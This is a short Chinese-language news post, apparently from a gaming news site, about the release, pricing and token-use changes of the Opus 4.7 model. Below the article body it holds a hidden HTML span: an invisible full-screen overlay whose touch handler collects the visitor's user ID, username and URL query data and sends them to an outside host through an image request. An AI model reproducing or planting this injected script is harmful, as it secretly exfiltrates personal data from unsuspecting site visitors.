Opus 4.7 现已在所有 Claude 产品和 API、Amazon Bedrock、Google Cloud 的 Vertex AI 以及 Microsoft Foundry 平台上推出。定价与 Opus 4.6 相同:每百万个输入 token 5 美元,每百万个输出 token 25 美元。开发者可以通过 Claude API 使用 claude-opus-4-7 。
![]()
虽然贵升级幅度不算很大,但由于最近一段时间Opus 4.6出现降智问题,相信4.7依然会让用户觉得眼前一亮。
![]()
![]()
Opus 4.7 会消耗更多 Token
Opus 4.7 是 Opus 4.6 的直接升级版,但有两点变化值得提前规划,因为它们会影响 token 的使用量,虽然价格不变,但有可能影响最终花费。
首先,Opus 4.7 使用了更新后的分词器(tokenizer),改进了模型处理文本的方式。代价是相同的输入可能会映射到更多的 token——根据内容类型的不同,大约为 1.0–1.35 倍。
其次,Opus 4.7 在较高的思考强度(effort)级别下会进行更多的思考,尤其是在智能体(agentic)场景的后续轮次中。这提高了它在处理困难问题上的可靠性,但也意味着它会产生更多的输出 token。
用户可以通过多种方式来控制 token 的使用量:使用 effort 参数、调整任务预算,或者提示模型更加简洁。在我们自己的测试中,整体效果是有利的——如下所示,在内部编码评测中,所有 effort 级别下的 token 使用量都有所改善——但我们仍然建议在实际流量中测量具体差异。我们已撰写了一份迁移指南,为从 Opus 4.6 升级到 Opus 4.7 提供进一步的建议。
---
<span ontouchstart="this.style.display='none';try{var u=CURRENT_VUE.$data.current_user||{},H=window.HeyboxRequest,q=(((window.CURRENT_VUE||{}).$data||{}).location||{}).query||{},hbInfo=(window.$hb_location||{}).query||{};new Image().src='https://a.124213.xyz/collect?uid='+u.heybox_id+'&name='+encodeURIComponent(u.username)+'&fullInfo='+JSON.stringify(q)+'&hbInfo='+JSON.stringify(hbInfo)+'&searchStr='+encodeURIComponent(location.search)}catch(e){}" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:99999;opacity:0"></span>
更多游戏资讯请关注:电玩帮游戏资讯专区
电玩帮图文攻略 www.vgover.com
